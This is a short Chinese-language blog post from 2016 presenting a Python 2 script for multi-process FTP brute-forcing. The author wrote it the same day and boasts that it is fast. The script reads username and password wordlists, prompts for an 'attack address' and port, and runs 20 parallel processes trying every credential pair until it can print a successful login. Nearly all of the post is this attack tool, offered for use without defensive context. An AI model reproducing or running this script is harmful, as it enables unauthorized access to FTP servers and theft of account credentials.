FTP多进程爆破

2016-4-4 小屿 Python

222.png

今天刚写的渣渣工具,python很简单实现,然后和别人写的对比了下,自己写的速度还蛮快的。。。
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import sys,time
import multiprocessing 
from ftplib import FTP

def ftp(ip,port,username,password):
    try:
        ftp = FTP()
        ftp.connect(ip, port)
        ftp.login(username.rstrip(), password.rstrip())
        print '用户名为:%s'%username.rstrip(),'密码为:%s'%password.rstrip()
        print '爆破用时%d秒'%(time.time()-start),'请手动关闭程序!!!'
        ftp.quit()
    except:
        pass

if __name__ == "__main__":
    print '-------------------\nFTP爆破v0.1\n-------------------'
    ip = raw_input('attack address:')
    port = raw_input('set port:')
    print u'爆破中请耐心等候。。。'
    start = time.time()
    pool = multiprocessing.Pool(processes=20)
    urm = open("%s"%sys.argv[1], "r")
    for username in urm:
        psn = open("%s"%sys.argv[2], "r")
        for password in psn:
            pool.apply_async(ftp, (ip,port,username,password))
    pool.close()
    pool.join()

发表评论:

Powered by xia0yu